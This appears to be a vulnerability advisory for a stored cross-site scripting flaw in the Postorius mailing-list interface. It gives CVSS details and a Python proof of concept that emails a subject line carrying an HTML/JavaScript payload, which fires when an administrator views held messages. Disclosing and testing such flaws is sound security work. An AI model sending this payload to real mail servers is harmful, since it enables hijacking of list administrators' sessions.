Postorius through 1.3.13 does not escape HTML in the message subject when rendering it in the Held messages pop-up, as exploited in the wild in May 2026.
CVSS Details
CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Postorius <= 1.3.13
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-44742
# Send an email with a malicious subject to trigger XSS in Postorius.
import smtplib
from email.mime.text import MIMEText
def send_xss_payload():
# Configuration for the sending email server
sender_email = "[email protected]"
receiver_email = "[email protected]"
# The payload: HTML injection in the subject line
# When an admin views the 'Held messages' popup, this script executes.
malicious_subject = "<img src=x onerror=alert('CVE-2026-44742')>"
message = MIMEText("Test body for the exploit.")
message['Subject'] = malicious_subject
message['From'] = sender_email
message['To'] = receiver_email
try:
# Connect to SMTP server and send
with smtplib.SMTP('smtp.example.com', 25) as server:
server.sendmail(sender_email, receiver_email, message.as_string())
print("[+] Exploit email sent successfully.")
except Exception as e:
print(f"[-] Failed to send email: {e}")
if __name__ == "__main__":
send_xss_payload()